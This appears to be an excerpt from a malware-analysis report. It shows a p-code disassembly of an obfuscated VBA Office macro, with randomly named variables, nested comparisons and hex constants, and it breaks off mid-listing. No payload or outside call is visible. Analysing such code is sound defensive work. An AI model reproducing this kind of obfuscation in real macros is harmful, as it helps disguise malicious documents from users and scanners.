' Line #35:
' 	LitDI4 0x3997 0x22F1 
' 	ArgsLd Hex 0x0001 
' 	St lUD11QAA 
' Line #36:
' 	Ld sAAQoA 
' 	Ld cxAABw 
' 	Eq 
' 	ElseIfBlock 
' Line #37:
' 	LitDI4 0x158E 0x0899 
' 	Coerce (Int) 
' 	St MDcAAQGA 
' Line #38:
' 	Ld t_wwAZx 
' 	Ld u1c4wXA 
' 	Eq 
' 	ElseIfBlock 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	Ld BADAcZwA 
' 	Ld L4AGAA 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	Ld fA1UUQCA 
' 	Ld YkAAoDGU 
' 	Eq 
' 	ElseIfBlock 
' Line #42:
' 	LitDI4 0xF178 0x055E 
' 	Coerce (Var) 
' 	St GXAw_B 
' Line #43:
' 	Ld qBBcCw 
' 	Ld BGA1Ak 
' 	Eq 
' 	ElseIfBlock 
' Line #44:
' 	LitDI4 0x7A0F 0x1B15 
' 	ArgsLd Hex 0x0001 
' 	St ixAUUcU 
' Line #45:
' 	Ld mUUACkAU 
' 	Ld YXAUwx 
' 	Eq 
' 	ElseIfBlock 
' Line #46:
' 	LitDI4 0xACB5 0x1026 
' 	Coerce (Int) 
' 	St ko1DAAQB 
' Line #47:
' 	Ld FBACXZG 
' 	Ld dQ4DQw 
' 	Eq 
' 	ElseIfBlock 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	Ld EUZUDGA 
' 	Ld TDx44AGx 
' 	Eq 
' 	IfBlock 
' Line #51:
' 	Ld FAAQQQ 
' 	Ld HABo4XG 
' 	Eq 
' 	ElseIfBlock 
' Line #52:
' 	LitDI4 0x7478 0x271D 
' 	Coerce (Var) 
' 	St iCX1D1Bx 
' Line #53:
' 	Ld PAcDkwAA 
' 	Ld FXAD1AAZ 
…

Open this report in the interactive analyzer, or submit your own file for analysis.